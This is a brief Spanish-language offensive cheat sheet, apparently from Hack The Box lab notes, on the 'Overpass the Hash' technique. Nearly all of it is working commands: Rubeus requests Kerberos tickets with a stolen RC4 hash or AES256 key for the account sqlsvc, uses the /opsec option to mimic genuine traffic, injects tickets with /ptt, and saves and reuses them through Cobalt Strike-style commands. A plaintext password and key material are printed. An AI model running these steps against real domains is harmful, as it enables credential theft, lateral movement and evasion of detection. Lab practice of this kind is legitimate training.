Overpass the Hash (OPtH)

Overpass the Hash (OPtH)

Overpass the Hash es una técnica más avanzada que se usa en ataques de Pass the Hash. En este caso, el atacante no solo usa el hash de la contraseña para autenticarse, sino que también aprovecha un proceso llamado Kerberos (un protocolo de autenticación en redes) para obtener un ticket de acceso sin necesidad de la contraseña original.

Rubeus nos permite realizar esta tecnica sin necesidad de privilegios elevados.

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /domain:pay.htb /user:sqlsvc /rc4:32918fbec63cc3c7c83a8c3c9787842c /nowrap

Para simular kerberos traffic genuino podemos hacer uso de AES Keys y utilizar la opcion /opsec. Obtener el hash en AES.

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe hash /domain:pay.htb /user:sqlsvc /password:rArOuSHarOuseMiD!

Crear ticket con rubeus.

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /domain:pay.htb /user:sqlsvc /aes256:100D63912190C59A2D20E12C497E664D8DDF1C67F3DD709F88F6175662C7406F /nowrap /opsec

Importar el ticket automaticamente con la opcion /ptt.

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /domain:pay.htb /user:sqlsvc /aes256:100D63912190C59A2D20E12C497E664D8DDF1C67F3DD709F88F6175662C7406F /opsec /ptt

Listar tickets.

run klist

Guardar ticket localmente.

echo -en "[ticket]" | base64 -d > sqlTGT.kirbi
[System.IO.File]::WriteAllBytes("C:\Tools\Payloads\sqlTGT.kirbi", [System.Convert]::FromBase64String("[ticket]"))

Utilizar ticket.

kerberos_ticket_use c:\Tools\Payloads\sqlTGT.kirbi

Eliminar tickets del sistema.

kerberos_ticket_purge